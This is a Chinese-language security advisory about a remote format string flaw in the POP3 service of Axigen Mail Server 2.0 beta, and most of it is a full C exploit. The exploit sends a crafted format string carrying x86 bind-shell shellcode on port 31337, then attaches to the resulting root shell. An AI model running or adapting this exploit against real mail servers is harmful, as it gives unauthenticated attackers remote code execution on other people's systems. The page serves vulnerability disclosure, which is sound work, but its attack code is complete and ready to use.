安全研究

安全漏洞
Axigen POP3服务远程格式字符串漏洞

发布日期:2007-02-17
更新日期:2007-02-17

受影响系统:
Axigen Mail Server 2.0 -beta1
描述:
BUGTRAQ  ID: 22603

Axigen Mail Server是一款小型的邮件服务器。

Axigen 2.0.0-beta1没有正确过滤用户提供的输入,即用在格式化打印函数的格式指示符参数内,在实现上存在远程格式字符串漏洞,成功利用后可使未经身份验证的远程攻击者用超级用户的权限执行任意代码。

<*来源:fuGich
  
  链接:http://osvdb.org/show/osvdb/33166
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* axiagen.c
*
* Axigen eMail Server v2.0 (beta)
*     by fuGich Tue Dec 5 2006
*
*         thanks to mu-b
*
* - Tested on: Axigen V2 (beta)
*
*   logType for the pop3 service must be "system" and
*   the logLevel set to any number with 4th bit set
*
* remote shell format string vulnerability in pop3
*     /bin/sh to bind to port 31337
*
* optimised format string generated with libforSC
* used hhn for writes, could have been hn's but this was small enough and reduces size of log entry generated
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>


#define DEF_PORT    110
#define PORT_POP3   DEF_PORT


char formatString[] =
    
    // plt fixup code

    "\xba\xd8\xbe\x85\x09"        // mov    $0x985bed8,%edx
    "\xc7\x02\x9a\xf0\x04\x08"    // movl   $0x804f09a,(%edx)
    "\x8d\x52\x04"            // lea    0x4(%edx),%edx
    "\xc6\x02\xaa"            // movb   $0xaa,(%edx)
    "\x90\x90\x90"            // make divisible by 8
    
    //
    // bind shell with fork to port 31337 98 bytes
    //

    "\x6a\x66"              // push $0x66
    "\x58"                  // pop %eax
    "\x99"                  // cltd
    "\x6a\x01"              // push $0x1
    "\x5b"                  // pop %ebx
    "\x52"                  // push %edx
    "\x53"                  // push %ebx
    "\x6a\x02"              // push $0x2

    //
    // <_doint>:
    //

    "\x89\xe1"              // mov %esp,%ecx
    "\xcd\x80"              // int $0x80

    "\x5b"                  // pop %ebx
    "\x5d"                  // pop %ebp
    "\x52"                  // push %edx
    "\x66\xbd\x69\x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
    "\x0f\xcd"              // bswap %ebp
    "\x09\xdd"              // or %ebx,%ebp
    "\x55"                  // push %ebp
    "\x6a\x10"              // push $0x10
    "\x51"                  // push %ecx
    "\x50"                  // push %eax
    "\x89\xe1"              // mov %esp,%ecx
    "\xb0\x66"              // mov $0x66,%al
    "\xcd\x80"              // int $0x80
    "\xb3\x04"              // mov $0x4,%bl
    "\xb0\x66"              // mov $0x66,%al
    "\xcd\x80"              // int $0x80

    //
    // <_acceptloop>:
    //

    "\x5f"                  // pop %edi
    "\x50"                  // push %eax
    "\x50"                  // push %eax
    "\x57"                  // push %edi
    "\x89\xe1"              // mov %esp,%ecx
    "\x43"                  // inc %ebx
    "\xb0\x66"              // mov $0x66,%al
    "\xcd\x80"              // int $0x80
    "\x93"                  // xchg %eax,%ebx
    "\xb0\x02"              // mov $0x2,%al
    "\xcd\x80"              // int $0x80
    "\x85\xc0"              // test %eax,%eax
    "\x75\x1a"              // jne <_parent>
    "\x59"                  // pop %ecx

    //
    // <_dup2loop>:
    //

    "\xb0\x3f"              // mov $0x3f,%al
    "\xcd\x80"              // int $0x80
    "\x49"                  // dec %ecx
    "\x79\xf9"              // jns <_dup2loop>

    "\xb0\x0b"              // mov $0xb,%al
    "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
    "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
    "\x89\xe3"              // mov %esp,%ebx
    "\x52"                  // push %edx
    "\x53"                  // push %ebx
    "\xeb\xb2"              // jmp <_doint>

    //
    // <_parent>:
    //

    "\x6a\x06"              // push $0x6
    "\x58"                  // pop %eax
    "\xcd\x80"              // int $0x80
    "\xb3\x04"              // mov $0x4,%bl
    "\xeb\xc9"              // jmp <_acceptloop>

    //
    // 9 write addresses
    //

    "\xd8\xbe\x85\x09"    // pointer @ 0x0985bed8
    "\xd9\xbe\x85\x09"
    "\xda\xbe\x85\x09"
    "\xdb\xbe\x85\x09"
    "\xe0\xbe\x85\x09"    // place shell code @ 0x0985bee0
    "\xe1\xbe\x85\x09"
    "\xe2\xbe\x85\x09"
    "\xe3\xbe\x85\x09"
    "\xe4\xbe\x85\x09"

    // add the format string

    "%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\r\n";


static int sock_send (int sock, u_char * src, int len);
static void formatme (u_char * host);
static int sockami (u_char * host, int port);
void shell (int sock);

void shell (int sock){        /* Attach to Remote Shell */

    int     l;
    char    buf[512];
    fd_set  rfds;

    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);
        select (sock + 1, &rfds, NULL, NULL, NULL);
        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                printf("\n - Connection closed by local user\n");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }
        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l == 0) {
                printf ("\n - Connection closed by remote host.\n");
                exit (EXIT_FAILURE);
            } else if (l < 0) {
                printf ("\n - Read failure\n");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

static int sock_send (int sock, u_char * src, int len){        /* send data to the open socket */

    int sbytes;
    sbytes = send (sock, src, len, 0);
    return (sbytes);
}

static int sockami (u_char * host, int port){    /* create the socket */

    struct sockaddr_in address;
    struct hostent *hp;
    int sock;

    fflush (stdout);
    if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1){
        perror ("socket()");
        exit (-1);
    }

    if ((hp = gethostbyname (host)) == NULL){
        perror ("gethostbyname()");
        exit (-1);
    }

    memset (&address, 0, sizeof (address));
    memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
    address.sin_family = AF_INET;
    address.sin_port = htons (port);

    if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1){
        perror ("connect()");
        exit (EXIT_FAILURE);
    }
    return (sock);
}

static void formatme (u_char * host){    /* do the evil */

    int sock;
    printf ("+Connecting to %s:%d ", host, PORT_POP3);    
    sock = sockami (host, PORT_POP3);
    printf ("\n+Sending format string\n");
    sock_send (sock, formatString, strlen (formatString));
    fflush (stdout);
    sleep(2);    
    printf ("+Connecting to Shell ");    
    sock = sockami (host, 31337);
    printf ("- Done\n");
    shell(sock);

}

int main (int argc, char **argv){    /* go figure */

    printf ("Axigen 2.0 beta Remote pop3 exploit\n"
        "by: <fuGich@gmail.com>\n\n");

    if (argc <= 1)
    {
        fprintf (stderr, "Usage: %s <host>\n\n", argv[0]);
        exit (EXIT_SUCCESS);
    }

    formatme (argv[1]);
}

建议:
厂商补丁:

Axigen
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.axigen.com/

浏览次数:1732
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障